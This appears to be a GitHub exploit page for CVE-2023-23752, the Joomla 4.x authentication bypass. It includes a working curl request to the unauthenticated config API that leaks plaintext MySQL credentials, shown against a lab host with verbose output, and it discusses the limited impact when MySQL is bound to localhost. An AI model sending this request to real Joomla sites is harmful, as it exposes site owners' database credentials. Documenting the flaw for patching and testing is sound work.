pushkarup/cve-2023-23752Exploit for CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
Exploit for CVE-2023-23752 (4.0.0 <= Joomla <= 4.2.7).
As discussed, CVE-2023-23752 is an authentication bypass resulting in an information leak. Most of the public exploits use the bypass to leak the system's configuration, which contains the Joomla! MySQL database credentials in plaintext. The following demonstrates the leak:
$ curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true
* Trying 10.9.49.205:80...
* TCP_NODELAY set
* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)
> GET /api/index.php/v1/config/application?public=true HTTP/1.1
> Host: 10.9.49.205
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse

In the proof of concept above, the server responds with the credentials root:labpass1, which are the credentials for our test Joomla! MySQL account. But it’s important to know that our test MySQL server was bound to 127.0.0.1, so the remote attacker can’t access the server, making the credentials mostly useless. Binding MySQL to the localhost should be the most common configuration, which severely limits this credential leak.
